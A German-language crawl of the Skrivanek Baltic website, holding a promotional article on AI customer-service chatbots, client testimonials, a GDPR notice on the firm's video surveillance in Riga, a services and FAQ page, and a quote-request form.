das Engagement und Handeln fördert. GESPRÄCHE MIT KI-ASSISTENTEN Diese virtuellen Gesprächspartner entwickeln sich in Lichtgeschwindigkeit, da sich die KI-Fähigkeit, Dialoge zu erstellen, indem sie die Kommunikation von Mensch zu Mensch gekonnt nachahmt, erheblich verbessert hat. Sie sind nicht mehr nur vorgefertigte und vorprogrammierte Skripte, sondern echte virtuelle Assistenten, die auf neuen wissenschaftlichen Fortschritten in der KI-Technologie basieren. Die KI bereits Ihre Stimmung soweit es geht erkennen, die Art und Weise, wie Sie jemanden begrüßen anpassen und sich sogar an Ihren bevorzugten Pizzabelag erinnern, basierend auf Ihrem bisherigen Gesprächsverlauf. Was ist ihr Geheimnis? Eine Kombination aus natürlicher Sprachverarbeitung, künstlicher Intelligenz und maschinellem Lernen, die es Chatbots ermöglicht, Texte nicht nur zu verstehen, sondern auch aus jeder Interaktion mit einem Menschen zu lernen. Die heutigen KI-Chatbots verändern somit grundlegend die Art des Kundendienstes und machen ihn effizienter, persönlicher und proaktiver. WIE DIE CHATBOT-TECHNOLOGIE FUNKTIONIERT Das erwartet Sie, wenn Sie einen genaueren Blick auf die KI-Chatbot-Technologie werfen: Sicherlich kein kleiner Roboter, der unentwegt tippt, sondern komplexe Algorithmen und Datenmodelle. Diese Roboter, die natürliche Sprache verarbeiten, können die Feinheiten der menschlichen Kommunikation (Umgangssprache, Rechtschreibfehler und mehr) leicht erfassen und so sicherstellen, dass sie in der Lage sind zu verstehen, was die Kunden wirklich sagen wollen. Es ist wie ein Gespräch mit einem Menschen, der dank des maschinellen Lernens nicht nur zuhört, sondern auch aus jedem Gespräch lernt. Stellen Sie sich einen Roboter vor, der mit jedem "Hallo! " besser wird. Ein kontinuierliches Lernen, bei dem jedes Gespräch zur Verbesserung genutzt wird. Wollen Sie wissen, was die wahre Magie hinter diesen Chatbots ist? Ihr Gedächtnis. Vorherige Interaktionen sind nicht nur historische Daten; sie sind der Schlüssel zum Erfolg eines wirklich persönlichen Dienstes. Heute, mit Technologien wie GPT-4 als Teil unseres Standardplans, kommunizieren diese Chatbots nicht nur, sie gehen auch auf Sie ein und bieten ein so persönliches Gespräch, dass es scheint, als würden sie Sie schon seit Jahren kennen. Und natürlich dürfen wir nicht vergessen, dass diese virtuellen Genies inzwischen auch wahre Sprachkünstler sind, die sich mit Kunden auf der ganzen Welt unterhalten und sich hier und da mal einen kleinen Scherz erlauben. Bei einem Chatbot geht es also nicht nur um die Beantwortung von Fragen, sondern darum, echten Kontakt und eine Verbindung aufzubauen. Und wer weiß? Wenn Sie das nächste Mal mit einem Roboter sprechen, wird er Sie vielleicht mit einem Witz überraschen, der Sie wirklich zum Lachen bringen wird! CHATBOT-ANWENDUNGEN Das breite Spektrum an Anwendungen unterstreicht die Vielseitigkeit von Chatbots, die in absolut allen Lebensbereichen eingesetzt werden können: von Banken bis zu den Medien, von Fluggesellschaften bis hin zum Einzelhandel. Diese automatisierten Anwendungen, die auf Kundenanfragen reagieren, sind inzwischen so vielseitig und nützlich wie Schweizer Taschenmesser. Chatbots sorgen für eine einheitliche und kontinuierliche Präsenz über mehrere Messaging-Apps hinweg, indem sie Benutzerinteraktionen und -erfahrungen einfach und nahtlos abwickeln und einen effizienten und weitreichenden Kundenservice bieten. Im E-Commerce haben Chatbots das Einkaufserlebnis verändert, indem es weniger abgebrochene virtuelle Warenkörbe gibt und die Kunden von der Suche bis zum Kauf mit personalisierten Empfehlungen und Unterstützung begleiten. Aber ein Chatbot verkauft nicht nur Produkte, sondern hilft auch bei der Gesundheitswesen. Chatbots sind zu virtuellen Pflegern im Gesundheitswesen geworden. Sie vereinbaren Termine, finden Krankenhäuser und stellen sogar Informationen für Medikamente bereit - alles mit dem Ziel, die Patientenversorgung zu optimieren und die Erfahrung im Gesundheitswesen zu verbessern. Dass man Chatbots in Apps und Websites einbauen kann, bedeutet, dass sie diese Dienste genau dort anbieten können, wo sich die Nutzer befinden und so die Kommunikation praktisch und nützlich machen. Als virtuelle Assistenten sind sie zuverlässig und freundlich. Sie verbinden Unternehmen mit ihren Kunden und stellen sicher, dass jede Interaktion eine Gelegenheit für Engagement und Zufriedenheit ist. VORTEILE VON CHATBOTS: EINE VERBESSERUNG DER KUNDENBINDUNG UND DER BETRIEBLICHEN EFFIZIENZ Der Einsatz von Chatbots bietet eine Reihe von Vorteilen, unter anderem: Kundensupport rund um die Uhr, egal ob ein Mitarbeiter da ist oder nicht; Rund-um-die-Uhr-Service, d. h. Ihre Kunden erhalten sofortige Hilfe, wann immer sie sie brauchen, und steigern somit Engagement, Aktion und Zufriedenheit; Die Skalierbarkeit der Chatbots macht es möglich, mehrere Kundeninteraktionen gleichzeitig zu bearbeiten; Einsparung von Verwaltungs- und Personalkosten, da weniger Personal für den Kundenservice nötig ist. Neben dem Kundenservice zeichnen sich Chatbots auch in anderen Bereichen aus: Akquisition von Leads durch Sichtung historischer Interaktionen und Informationen, um potenzielle Käufer zu identifizieren und ihnen beim Handeln und Kauf zu helfen. Verbesserung der betrieblichen Effizienz durch Optimierung der verarbeiteten Datenströme und schnellere Transaktionen; und die Verbesserung verschiedener Aspekte des Unternehmens. Durch die Integration der fortschrittlichsten Konversationsschnittstellen, wie z. B. der GPT-3-Technologie, erreicht die Kundenbindung neue Dimensionen, da Fragen sofort beantwortet werden und die Kommunikation interaktiver wird. VERBESSERTE KUNDENERFAHRUNG In der heutigen schnelllebigen Welt ist der Geduldsfaden des Menschen kurz, weswegen Kunden sofortige Unterstützung erwarten. Genau diese Hilfe bieten Chatbots zu jeder Tages- und Nachtzeit. Diese sofortige Unterstützung und die Möglichkeit, die Kommunikation anhand von Kundendaten zu personalisieren, verbessert das Kundenerlebnis erheblich. Stellen Sie sich einen Chatbot vor, der Ihre Kunden beim Namen kennt und anspricht, ihnen maßgeschneiderte Empfehlungen auf der Grundlage ihrer früheren Einkäufe gibt und den Verkauf nahtlos gestaltet - all das trägt zu einem unvergesslichen Erlebnis mit Ihrer Marke bei. Chatbots antworten nicht nur, sie bringen sich ein und verwandeln jede Interaktion in eine Gelegenheit, die Kundenbeziehung zu stärken. Chatbots führen Kunden durch den Kaufprozess und vereinfachen die Datenerfassung mit freundlichen Aufforderungen, indem sie: die übliche Anspannung bei einem Onlinekauf verringern. zur Verringerung von Einkaufsabbrüchen beitragen und das Vertrauen und die Markentreue fördern. Das Ergebnis ist eine entspannte, persönliche und wirklich zufriedenstellende Kundenerfahrung. DIE OPTIMALE KOMMUNIKATION Chatbots verbessern nicht nur das Kundenerlebnis, sie revolutionieren auch die Art und Weise, wie Unternehmen kommunizieren. Durch die Automatisierung alltäglicher Fragen und die Erfassung relevanter Kundeninformationen sorgen Chatbots dafür, dass jede Konversation fortlaufend ist und den Nutzern immer zur Verfügung steht. Sie sind der erste Ansprechpartner, verwalten effizient die Bewertung potenzieller Kunden und führen sie durch die ersten Phasen des Verkaufsprozesses. Diese Automatisierung steigert nicht nur die betriebliche Effizienz, sondern ermöglicht es den Mitarbeitern auch, sich auf schwierigere und strategische Aufgaben zu konzentrieren. Chatbots in Messaging-Apps bieten folgende Vorteile: schnelle und genaue Bearbeitung eingegangener Mitteilungen; ein fließendes Gespräch ohne ständige menschliche Aufsicht; schnelle Reaktion auf Kundenanfragen; verbesserte Qualität der Interaktionen mit Chatbots, die relevante Antworten auf Nutzeranfragen geben; eine effizientere Kommunikationslandschaft EINRICHTUNG DES CHATBOTS: INTEGRATION UND ANPASSUNG Bei der Einrichtung von Chatbots geht es nicht nur um die Installation eines Programms, sondern auch darum, sie in den digitalen Markenkern einzubauen. Chatbots können in eine Vielzahl von Kanälen eingebaut werden, von Websites bis hin zu Sozialen Medien wie Instagram und Facebook, was ein einheitliches Erlebnis gewährleistet, wo auch immer die Kunden sich aufhalten. Chatbots dienen als stets einsatzbereite Komplettlösung, die Antworten auf häufig gestellte Fragen automatisiert und grundlegende Informationen über Produkte und Dienstleistungen bereitstellt. Aber die Integration ist nur ein kleiner Teil vom Ganzen, bevor die KI ihre Aufgaben erfüllen kann. Die Individualisierung macht einen Chatbot einzigartig und spiegelt Ihre Markenwerte in jeder Interaktion wider. Es geht darum, das Aussehen zu personalisieren, die Antworten und den Stil zu verfeinern und sicherzustellen, dass der Chatbot eine natürliche Erweiterung des Kundendienstes ist. Wenn ein Chatbot mit Nutzern interagiert, sind kontinuierliche Überwachung und Nutzerfeedback unerlässlich, um die Leistung zu verbessern und sicherzustellen, dass er ein dynamisches, sich weiterentwickelndes Tool bleibt, das die Bedürfnisse Ihrer Kunden konsequent erfüllt. INTEGRATION MIT MESSAGING-APPS Messaging-Apps sind allgegenwärtig. Deswegen sind sie zu einem wichtigem Werkzeug für Unternehmen geworden, die mit ihren Kunden in Verbindung treten wollen. Chatbots können nahtlos in Plattformen wie Facebook Messenger und WhatsApp eingebaut werden und können somit direkt und persönlich mit Kunden in Kontakt treten. Chatbots in diesen Apps erfüllen eine Vielzahl von Funktionen, vom Kundenservice bis hin zu Vertrieb und Marketing und bieten eine schnelle und maßgeschneiderte Unterstützung. Einer der Hauptvorteile von Chatbots, die in verschiedene Kommunikationskanäle eingebaut werden, ist heute die Fähigkeit, den Kontext beizubehalten, auch wenn die Nutzer zwischen den Kommunikationskanälen wechseln. Dieser nahtlose Übergang ist für entscheidend für die Kundenzufriedenheit, da sie sicherstellt, dass das Gespräch dort weitergeht, wo es aufgehört hat, ohne etwas zu verpassen. Mit Tarifen wie dem Standard-Tarif, der eine Messaging-Integration beinhaltet, war es noch nie so einfach, Chat-Dienste auf diesen Kanälen einzurichten, so dass Sie mit Ihren Kunden dort in Kontakt treten können, wo sie sich am häufigsten aufhalten. EIN ZUGESCHNITTENER CHATBOT FÜR IHRE MARKE Chatbots führen nicht nur Gespräche, sondern sind auch Markenbotschafter. Die Anpassung Ihres Chatbots stellt sicher, dass er mit Ihrer Markenidentität übereinstimmt und nur das wiedergibt, was Sie wollen. Von der Wortwahl bis zu visuellen Elementen wie Farben und Bildern kann alles am Chatbot an Ihre Marke angepasst werden. Bei der Personalisierung geht es nicht nur um Ästhetik, sondern auch um die Schaffung eines kohärenten Benutzererlebnisses, das die Kernwerte und die Persönlichkeit Ihres Unternehmens widerspiegelt. Die Integration von Chatbots in CRM-Systeme bietet eine Reihe von Vorteilen, darunter: Personalisierung: Der Chatbot kann die Kundenerkenntnisse aufgreifen und die Kommunikation entsprechend anpassen, was die Personalisierung auf eine neue Stufe bringt; mehrsprachiger Support: Die fortschrittlichsten Chatbots bieten Unterstützung in mehreren Sprachen und stellen so sicher, dass Ihre Marke Kunden weltweit zugänglich und einheitlich erreicht. effektive Einbindung: Mit der richtigen Schulung, wie sie in unserem Geschäftsplan enthalten ist, in dem der virtuelle Assistent auf 700 Dateien und Websites geschult wird, wird Ihr Chatbot zu einem effektiven Instrument für die Einbindung von Kunden und den Aufbau starker, dauerhafter Beziehungen. DAS BESTE AUS CHATSBOTS RAUSHOLEN Obwohl Chatbots leistungsstarke Werkzeuge sind, haben sie ihre Grenzen. Um ihr volles Potenzial auszuschöpfen, müssen Probleme wie die Grenzen von Gesprächen und die funktionalen Grenzen der KI systematisch ermittelt und angegangen werden. Zu den effektivsten Methoden gehören die Auswahl der richtigen Kommunikationskanäle und der Aufbau von Partnerschaften mit Anbietern von Chatbot-Diensten, die sicherstellen, dass Chatbots die Erwartungen der Nutzer und Ihre Unternehmensziele erfüllen. Durch die Aufteilung von Informationen in kleinere Segmente und die Nachahmung menschlicher Gesprächsmuster können die Fähigkeiten von Chatbots erheblich verbessert und eine Informationsüberlastung der Nutzer vermieden werden. Entscheidend ist auch, dass der Chatbot Backups anbietet, da so der Gesprächsfluss nicht unterbrochen wird und Kunden dran bleiben, wenn der Chatbot auf eine Frage stößt, die er nicht beantworten kann. Es geht darum, ein nahtloses Erlebnis zu schaffen, bei dem sich der Nutzer während der gesamten Interaktion unterstützt fühlt - sowohl durch den Chatbot als auch durch den echten Kundendienstmitarbeiter. Durch die Umsetzung dieser Standardverfahren können Unternehmen die natürlichen Grenzen von Chatbots überwinden und ihre Auswirkungen auf den Kundenservice und die Kundenbindung maximieren. So können sie sicherstellen, dass der Chatbot korrekt funktioniert und Verzögerungen bei der Beantwortung von Kundenfragen vermieden werden. AUSWAHL DER RICHTIGEN CHATBOT-PLATTFORM Die Wahl der Plattform kann einen erheblichen Einfluss auf die Funktionalität und Leistung Ihres Chatbots sowie auf Ihre Zufriedenheit haben. Eine gut gewählte Plattform bietet: sofortige, stets verfügbare Unterstützung; Informationsanzeigen, die der Kunde sucht; erschwingliche Unterstützung ohne zusätzliches Personal; Anpassungsfähigkeit an Ihre Kommunikationsstrategie; Integration in bestehende Systeme. Dieser Auswahlprozess sollte mit Bedacht und einem klaren Verständnis Ihrer geschäftlichen Anforderungen und der Fähigkeiten potenzieller Chatbot-Plattformen angegangen werden, um sicherzustellen, dass Ihre Anforderungen am Ende erfüllt werden. Unabhängig davon, ob Sie mehr Gewicht auf KI-Assistenten legen, die menschliche Unterhaltungen simulieren können oder auf Standard-Chatbots, die generische Fragen bearbeiten, muss die Plattform beständig, skalierbar und benutzerfreundlich sein. Es muss das richtige Gleichgewicht von Funktionen wie der Verarbeitung natürlicher Sprache, maschinellem Lernen und CRM-Integration bieten, damit Ihr virtueller Assistent Bestleistung aufbringen kann. Mit der richtigen Plattform wird Ihr Chatbot zu einem leistungsstarken Tool, das die Kundeninteraktionen verbessert und das Unternehmenswachstum fördert. GEWÄHRLEISTUNG VON DATENSCHUTZ UND -SICHERHEIT In einer Zeit, wo Daten von größter Bedeutung sind, ist der Schutz von Kundeninformationen unerlässlich. Bösartige Chatbots stellen eine reale Bedrohung dar. Sie sind oft so konzipiert, dass sie menschliches Verhalten imitieren, indem sie persönliche Daten sammeln oder falsche Informationen verbreiten. Die zunehmende Entwicklung von generativen, KI-gestützten Chatbots führt zu einer komplexen Datenverarbeitung, die zu Datenlecks und Datenschutzproblemen führen kann. Um diese Risiken zu bekämpfen, ist es wichtig, dass Chatbot-Plattformen strenge Sicherheitsmaßnahmen ergreifen, wie z. B. eine hochgradige Verschlüsselung und die Datenspeicherung auf sicheren, speziellen Plattformen. Plattformen wie Appy Pie Chatbot sind ein hervorragendes Beispiel für die Sicherheit von Chatbots, da sie umfassende Sicherheitsfunktionen zum Schutz der Nutzerdaten einbauen. Bei der Einrichtung eines Chatbots ist wichtig zu bedenken: die vorhandene Sicherheitsinfrastruktur und ihre Übereinstimmung mit internationalen Rechtsvorschriften und Standards; wie der Chatbot Kundeninformationen schützt; wie der Chatbot die Markentreue stärkt. Ein sicherer Chatbot, der als vertrauenswürdige Software für die Kommunikation fungiert, ist ein unverzichtbares Werkzeug in Ihrem virtuellen Bestand. CHATBOTS IN DER PRAXIS: ERFOLGSGESCHICHTEN IN VERSCHIEDENEN SEKTOREN Eine Vielzahl von Unternehmen beweisen die Effektivität der Chatbots, z. B. bei: Versicherungsunternehmen, die Chatbots nutzen, um Versicherungsverträge anzubieten und Prämien einzuziehen; Regierungsbehörden, die Unterstützung in Fragen der Staatsbürgerschaft und Einwanderung anbieten; und Unternehmen des öffentlichen Dienstes, die Chatbots einsetzen, um Kundensupport zu leisten, die Bezahlung von Rechnungen zu erleichtern und Unterstützung auf Abruf anzubieten, ohne ein Büro aufsuchen zu müssen. Chatbots erweisen sich in diesen Bereichen als vielseitig und effektiv. Der Entwickler des Chatbots Appy Pie beweist die Flexibilität von Chatbots. Er ermöglicht es Unternehmen, maßgeschneiderte Bots für verschiedene Funktionen zu erstellen, z. B. für Fragen, Terminvereinbarungen und zur Erleichterung von Online-Chats. Dass Chatbots mehrere Branchen bedienen können, zeigt ihre Anpassungsfähigkeit und Wirkung, vom Fintech-Kundenservice über Einzelhandelsdienstleistungen bis hin zur Wettervorhersage. Die Tatsache, dass große Unternehmen Chatbots branchenübergreifend einsetzen, macht deutlich, dass es sich bei dieser Technologie nicht um einen vorübergehenden Trend, sondern um einen grundlegenden Wandel in der Unternehmenskommunikation handelt. CHATBOTS IM E-COMMERCE Im E-Commerce wirken sich Chatbots positiv auf das Kundenerlebnis aus, indem sie insbesondere die Zufriedenheit und die Konversionsraten verbessern. Unternehmen wie Cdiscount und Vanden Borre konnten dank der Einführung von generativen, KI-gesteuerten Chatbots, die einen personalisierten und effizienten Service bieten, deutliche Verbesserungen bei der Kundenzufriedenheit verzeichnen. Diese Chatbots sind in der Lage, die Konversionsraten zu verdoppeln oder sogar zu verfünffachen, indem sie Kunden auf eine interaktivere und personalisierte Art und Weise ansprechen, wie man bei Vanden Borre und Cdiscount sehen kann. Es geht nicht nur um Messungen, sondern auch um die Verbesserung des Einkaufserlebnisses. So erzielte die IKKS beispielsweise eine beeindruckende Konversionsrate von 18 % bei vollautomatisierten Konversationen. Dies stellt die Fähigkeit von Chatbots unter Beweis, Kunden während des Einkaufserlebnisses effektiv in die richtige Richtung zu leiten. E-Commerce-Chatbots definieren den Einzelhandel neu, indem sie ein bisher unerreichtes Maß an Kundensupport und -einbindung bieten und so Besucher in Käufer und Fragen in Umsätze verwandeln. CHATBOTS IM GESUNDHEITSWESEN Im Gesundheitswesen verbessern Chatbots die Patientenversorgung und die Effizienz der Verwaltung. Sie bieten eine zugängliche medizinische Versorgung und helfen den Patienten, sich leichter und sicherer im Gesundheitssystem zurechtzufinden. Durch die vereinfachte Terminplanung ermöglichen Chatbots im Gesundheitswesen den Patienten eine mühelose Überprüfung von Terminen, was zu einem reibungsloseren und befriedigenderen Erlebnis im Gesundheitswesen führt. Darüber hinaus dienen sie als vertrauenswürdige Quellen für medizinische Informationen, beantworten gesundheitsbezogene Fragen und vermitteln den Patienten das Wissen, das sie benötigen, um fundierte Entscheidungen zu treffen. Die Einführung von Chatbots im Gesundheitswesen bietet mehrere Vorteile: Weniger Verwaltungsaufwands für das Personal im Gesundheitswesen; kontinuierliche Unterstützung; Erledigung von Routineaufgaben; Weniger Arbeitsbelastung des medizinischen Personals, damit es sich auf eine bessere Versorgung konzentrieren kann; größere Patientenzufriedenheit; mehr betriebliche Effizienz. Chatbots im Gesundheitswesen sind also nicht nur Kommunikationsmittel, sondern auch Partner bei der Erbringung einer hochwertigen Pflege und der Optimierung von Gesundheitsdienstleistungen. FAZIT Letztendlich kann man sagen, dass KI-gesteuerte Chatbots mehr als nur ein Trend sind. Sie haben eine transformative Kraft für das Kundenengagement und -handeln sowie für die betriebliche Effizienz. Chatbots zeigen neue Wege, wie Unternehmen mit Kunden kommunizieren können - von der Vielfalt der Apps in verschiedenen Branchen bis hin zu ihrer Anpassbarkeit und ständigen Verfügbarkeit. Ob es um die Verbesserung des Benutzererlebnisses, die Optimierung der Kommunikation oder die Gewährleistung der Datensicherheit geht, Chatbots sind ein Beweis für die Macht der Technologie, das Unternehmenswachstum und die Kundenzufriedenheit zu fördern. Bei der Einführung und Integration von Chatbots geht es nicht nur darum, mit der Entwicklung der Technologie Schritt zu halten, sondern auch darum, ihre Relevanz zu erneuern. Wenn Sie auf Ihrer Website einen Chatbot einrichten möchten, der auf Ihr Unternehmen zugeschnitten ist, kontaktieren Sie uns und wir helfen Ihnen. Wenn Sie weitere Informationen oder Ratschläge zu den Funktionen eines Chatbots benötigen, buchen Sie eine Online-Beratung und wir beantworten Ihre Fragen. KUNDENMEINUNGEN: KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Skrivanek ist ein Sprachunternehmen mit über 25 Jahren Erfahrung - professionelle und qualitativ hochwertige Sprachdienstleistungen für Unternehmen und Privatpersonen. - Published: 2025-01-06 - Modified: 2025-01-07 - URL: https://skrivanek.lv/videonoverosana-skrivanek-baltic-tulkosanas-pakalpojumi/ - Translation Priorities: Optional Videoüberwachung öffentlicher Plätze durch die Skrivanek Baltic GmbH zur Gewährleistung der öffentlichen Ordnung und zum Grundstückschutz 1. Was ist der Zweck von Videoüberwachung? Die Skrivanek Baltikum GmbH führt Videoüberwachungen zur Vorbeugung und Aufdeckung von Verbrechen und Straftaten, für den Schutz von Immobilien, für die Sicherheit von Öffentlichkeit, Kunden, Mitarbeiter und der Interessen von Personen, einschließlich des Schutzes von Leben und Gesundheit, und der öffentlichen Ordnung, Büroarbeit und Dienstleistungen durch. Unser Unternehmen hat Überwachungsanlagen installieren lassen, nachdem abgewägt wurde, ob diese die oben genannten Anforderungen erfüllen kann. 2. Wo sind die Überwachungskameras? Die Videoüberwachung erfolgt entlang der äußeren Begrenzung des Grundstücks von der Skrivanek Baltic GmbH, dem Bürogebäude in der Lāčplēša iela 87C, Riga, einschließlich des Parkplatzes, sowie der Fahrbahn der Lāčplēša iela. Die Videoüberwachung im Innenbereich erfolgt im öffentlichen Bereich des Erdgeschosses des Kundenbereichs, der einen Arbeitsplatz für Mitarbeiter, Eingang und Wartebereich umfasst. 3. Wichtige Informationen 3. 1. Der Controller - Skrivanek Baltic GmbH, Reg. -Nr. . : 40003626172, Geschäftsanschrift: Lāčplēša iela 87C, Riga, LV-1011, Telefon +371 67240364, E-Mail: birojs@skrivanek. lv. 3. 2. Unser Datenschutzbeauftragter: Uldis Krūmiņš, Tel. : +371 67240364, E-Mail: dpo@skrivanek. lv. 3. 3. Rechtsgrundlage für die Videoüberwachung - Artikel 6 Absatz 1 Buchstaben c, e und f der Verordnung (EU) 2016/679 des Europäischen Parlaments und des Rates vom 27. April 2016 zum Schutz natürlicher Personen bei der Verarbeitung personenbezogener Daten, zum freien Datenverkehr und zur Aufhebung der Richtlinie 95/46/EG (Datenschutz-Grundverordnung). Wahrung und Schutz des Gemeinwohls 3. 4. Berechtigte Interessen: Vorbeugende Maßnahmen von Straftaten, Wahrung der öffentlichen Ordnung. 3. 5. Empfänger der personenbezogenen Daten ist der Controller und seine bevollmächtigten Mitarbeiter, die betroffene Person, gegebenenfalls die nationalen Strafverfolgungsbehörden (Bundespolizei, Ermittlungsbehörden, Gerichte usw. ). 3. 6. Personenbezogene Daten sollen nicht in ein Drittstaat, welcher nicht Mitgliedstaat der EU oder des EWR ist, oder an eine internationale Organisation übermittelt werden. 4. Wann und wie lange werden Aufzeichnungen der Videoüberwachung gespeichert? Die Aufbewahrungsfrist von Videoaufzeichnungen beträgt einen (1) Monat. Aufzeichnungen, die eine Gefahr für die öffentliche Ordnung, eine Straftat, eine gesuchte Person oder ein Fahrzeug erfasst haben, werden bis zum Abschluss eines Strafverfahrens, eines Ordnungswidrigkeitsverfahrens, eines Verwaltungsverfahrens oder einer dienstlichen Beurteilung durch die Polizeibehörde aufbewahrt, jedoch nicht länger als drei (3) Jahre. 5. Datenschutz Die aus der Videoüberwachung gewonnenen Daten sind so zu speichern, dass Dritte keinen Zugang zu ihnen haben. Von den Überwachungsaufnahmen werden keine Backups gemacht und die Daten werden nicht an Dritte weitergegeben, außer in Fällen, die in externen Gesetzen und Vorschriften vorgesehen sind (z. B. wenn die Informationen an Strafverfolgungsbehörden weitergegeben werden müssen). In den Fällen, in denen es erforderlich ist, die bei der Videoüberwachung aufgezeichneten personenbezogenen Daten einzusehen und die Daten rechtmäßig an andere Personen weiterzugeben, speichert die Skrivanek Baltic GmbH Daten darüber, an wen (Identifizierung der Person), wann, zu welchem Zweck und welche Daten weitergegeben wurden. 6. Rechte der betroffenen Person: 6. 1. Erhalt aller über sie gesammelten Informationen zum Zweck der Verarbeitung personenbezogener Daten gemäß Absatz 1 6. 2. Auskunft über die natürlichen oder juristischen Personen, die innerhalb eines bestimmten Zeitraums von dem Controller Informationen über die betroffene Person erhalten haben. Die Informationen, die der betroffenen Person zugänglich gemacht werden, beinhalten keine Behörden, die ein Strafverfahren führen, Subjekte operativer Tätigkeiten oder andere Behörden, da das Gesetz die Weitergabe solcher Daten verbietet; 6. 3. Ersucht die betroffene Person um Informationen im Zusammenhang mit der Videoüberwachung, so ist sie verpflichtet, auf Verlangen dem Controller erforderliche Angaben zur Identifizierung der betroffenen Person und der angeforderten personenbezogenen Daten zu machen; 6. 4. Innerhalb eines (1) Monats ab dem Datum des entsprechenden Antrags kostenlos die in diesem Absatz genannten Informationen oder eine begründete schriftliche Ablehnung der Bereitstellung aller oder eines Teils der in diesem Absatz genannten Informationen zu erhalten. Die Erteilung von Auskünften kann verweigert werden, wenn die betroffene Person sich weigert, der Verpflichtung nach Absatz 6. 3 nachzukommen. 6. 5. Die Berichtigung oder Löschung der Daten oder die Einschränkung der Verarbeitung in Bezug auf die betroffene Person zu verlangen. 7. Die Kontaktperson des Controllers bei weiteren Fragen des personenbezogenen Datenschutzes: Datenschutzbeauftragter Uldis Krūmiņš, Telefon: +371 67240364, E-Mail: dpo@skrivanek. lv. 8. Die betroffene Person kann bei der Datenschutzaufsichtsbehörde (Blaumaņa iela 11/13-15, Riga, LV-1011) Beschwerde einlegen. --- > Wir unterstützen Sie auf Ihrem Weg zum Erfolg: Übersetzung, Dolmetschen, Lokalisierung, Sprachunterricht usw. Mehr als 25 Jahre Erfahrung. - Published: 2025-01-06 - Modified: 2025-01-07 - URL: https://skrivanek.lv/pakalpojumi/ - Translation Priorities: Optional Übersetzung Wir bieten qualitativ hochwertige Übersetzungen in den erforderlichen Sprachkombinationen, garantieren Diskretion und Einhaltung der Abgabefristen. Dolmetschen Wir bieten alle Arten von Dolmetscherdiensten in verschiedenen Kombinationen aus mehr als 40 Sprachen an. Lokalisierung Wir liefern nicht nur Übersetzungen an, sondern sorgen auch dafür, dass die lokalisierten Produkte und die Software gut funktionieren. Sprachunterricht Wir bieten praktischen Sprachunterricht sowohl für Einzelpersonen als auch für Mitarbeiter von Unternehmen und Institutionen auf unterschiedlichem Sprachniveaus. FAQ - HÄUFIG GESTELLTE FRAGEN Wir bieten eine große Vielfalt an Sprachen an - Übersetzungen, Dolmetschen, Lokalisierungen, Textadaption, Copywriting, DTP und Sprachunterricht. Wir dolmetschen beiKonferenzen und Geschäftstreffen sowie bei Gerichtsverfahren. Das Übersetzen umfasst Fachübersetzungen und allgemeine Übersetzungen in einer Vielzahl von Branchen. Obwohl die meisten unserer Übersetzungsaufträge von juristischen Personen kommen, arbeiten wir auch gerne mit natürlichen Personen zusammen. Notariell beglaubigte Übersetzungen sind die häufigsten Dienstleistungen für natürliche Personen. Auch Sprachkurse und Camps für Kinder und Jugendliche sind sehr beliebt. Nein, unsere Aufträge werden von Projektmanagern angenommen und betreut. Diese dienen als eine effiziente Brücke zwischen Kunde und Übersetzer. Die Übersetzer und Dolmetscher von Skrivanek Baltic bieten Sprachdienstleistungen in über 110 Sprachen an. Seit mehr als 25 Jahre auf dem Markt! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. über 110 verschiedene Sprachkombinationen über 14 Millionen übersetzte Wörter 2019 über 3000 Sprachspezialisten 4 ISO-Zertifikate Zuverlässigkeit, Geschwindigkeit und Qualität der Dienste Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Wir führen die Aufträge auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist aus. KRKA d. d. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern. Sandoz d. d. Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge in den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen. Adidas Baltics --- > Bei Fragen oder einen kostenlosen Kostenvoranschlag können Sie unser Kontaktformular ausfüllen! Lāčplēša 87C, Riga | birojs@skrivanek.lv - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/kontakti/ - Translation Priorities: Optional if (typeof(gem_fix_fullwidth_position) == "function") { gem_fix_fullwidth_position(document. getElementById("fullwidth-block-68873025aef5b")); } PREISANGEBOT EINHOLEN / FRAGE STELLEN Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine 